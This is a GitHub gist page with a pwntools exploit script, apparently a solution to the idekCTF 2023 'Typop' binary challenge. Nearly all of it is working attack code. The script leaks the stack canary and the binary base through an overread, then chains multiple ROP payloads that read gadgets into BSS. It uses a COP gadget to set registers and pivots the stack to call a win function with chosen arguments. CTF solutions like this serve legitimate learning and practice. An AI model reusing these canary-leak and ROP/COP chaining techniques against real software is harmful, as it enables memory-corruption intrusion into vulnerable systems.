Skip to content

Instantly share code, notes, and snippets.

@xct

xct/solve.py Secret

Last active January 14, 2023 14:11
Show Gist options
  • Save xct/5c4be3073ba76fea3a52d03a84cf0350 to your computer and use it in GitHub Desktop.
Save xct/5c4be3073ba76fea3a52d03a84cf0350 to your computer and use it in GitHub Desktop.
idekCTF 2023 Typop - Win Function with Arguments that requires multiple spread out rop chains to be combined to set them up - including COP gadgets
from pwn import *
import binascii
import warnings
warnings.filterwarnings('ignore')
context.terminal = ['alacritty', '-e', 'zsh', '-c']
context.arch = "amd64"
'''
Author: @xct_de
Exploit centered around setting up rdx via:
xor ebx, ebx ; nop [rax+0x00000000] ; mov rdx, r14 ; mov rsi, r13 ; mov edi, r12d ; call qword [r15+rbx*8]
'''
# gdb hack
def _new_binary():
return "gdb-gef"
gdb.binary = _new_binary
#p = remote('typop.chal.idek.team',1337, level='debug')
p = process("./chall", level="info")
binary = ELF("./chall")
context.binary = binary
'''
Leak Canary
'''
log.info("Leaking Canary, then returning to main")
p.recvuntil("survey?")
p.sendline("y")
p.recvuntil("ctf?")
p.sendline("A"*10)
p.recvlines(numlines=2)
leak = p.recvline().rstrip(b"\n")
canaryLeak = leak[0:7].rjust(8, b"\x00")
canary = u64(canaryLeak)
print(f"Canary {hex(canary)}")
p.recvuntil("feedback?")
p.sendline(b"A"*10+p64(canary)) # safe return to main, repair canary
'''
Leak Binary Base & read gadget address to BSS
'''
log.info("Reading gadget into bss (for indirect addressing in cop gadget), then part of a rop chain, then returning to main")
p.recvuntil("survey?")
p.sendline("y")
p.recvuntil("ctf?")
# leak binary base
p.sendline("A"*25)
p.recvlines(numlines=2)
leak = p.recvline().rstrip(b"\n")[-8:].ljust(8, b"\x00")
leak = u64(leak)
binBase = leak - 0x1447
binary.address = binBase
win = binBase + 0x1249
print(f"BinaryBase: {hex(binBase)}")
print(f"Win: {hex(win)}") # win function takes 3 args that must be "f" "l" "a" or it wont open the flag
# gadgets
rop_nop_8 = binary.address+0x1016 # add rsp,8 ,ret
rop_nop = binary.address+0x101a # ret
rop = ROP(context.binary)
rop.raw(rop.find_gadget(['ret']))
rop.rsi = p64(binary.bss(0)+0x300)
rop.raw(binary.plt['read']) # read from stdin!!
rop.raw(p64(binary.symbols['main'])) # actual return
buf = b""
buf += b"AAAABBBBCC"
buf += p64(canary)
buf += p64(0xdeadc0decafebabe)
buf += rop.chain()
p.recvuntil("feedback?")
p.sendline(buf)
next_rop = ROP(context.binary)
next_rop.raw(p64(0xdeadbeef))
next_rop.raw(p64(0xdeadbeef))
next_rop.raw(p64(0xdeadbeef))
next_rop.raw(p64(rop_nop))
next_rop.raw(p64(rop_nop))
next_rop.raw(p64(rop_nop))
#next_rop.raw(binary.address+0x1249)
p.send(p64(rop_nop_8)+next_rop.chain())
'''
One more BSS Read, we need a longer chain there
'''
log.info("Reading more gadgets into bss, because read was too short")
p.recvuntil("survey?")
p.sendline("y")
p.recvuntil("ctf?")
p.sendline("y")
rop = ROP(context.binary)
rop.raw(rop.find_gadget(['ret']))
rop.rsi = p64(binary.bss(0)+0x328)
rop.raw(binary.plt['read']) # read from stdin!!
rop.raw(p64(binary.symbols['main'])) # actual return
buf = b""
buf += b"AAAABBBBCC"
buf += p64(canary)
buf += p64(0xdeadc0decafebabe)
buf += rop.chain()
p.recvuntil("feedback?")
p.sendline(buf)
next_rop = ROP(context.binary)
next_rop.raw(binary.address+0x14d3) # pop rdi // alternative rop.rdi = 0x66
next_rop.raw(p64(0x66)) # f
next_rop.raw(binary.address+0x14d1) # pop rsi; pop r15; ret;
next_rop.raw(p64(0x6c)) # l
next_rop.raw(p64(0xff)) # dummy
next_rop.raw(binary.address+0x1249)
p.send(next_rop.chain())
'''
Finish him, win func with correct args
'''
log.info("Starting rop chain with evil cop gadget, then pivoting stack into bss for size reasons")
p.recvuntil("survey?")
p.sendline("y")
p.recvuntil("ctf?")
p.sendline("y")
rop = ROP(context.binary)
rop.r14 = 0x61
rop.r15 = p64(binary.bss(0)+0x300)
rop.raw(binary.address+0x14a7)
rop.raw(p64(binary.address+0x14cd)) # pop rsp
rop.raw(p64(binary.bss(0)+0x308))
#gdb.attach(p, f'''
#break {binary.address+0x14a7}
#break {binary.address+0x101a}
#break *win
#break *win+113
#break *getFeedback+199
#continue
#''')
buf = b""
buf += b"AAAABBBBCC"
buf += p64(canary)
buf += p64(0xdeadc0decafebabe)
buf += rop.chain()
p.recvuntil("feedback?")
p.sendline(buf)
print(p.recvall(timeout=2))
#p.interactive()
p.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment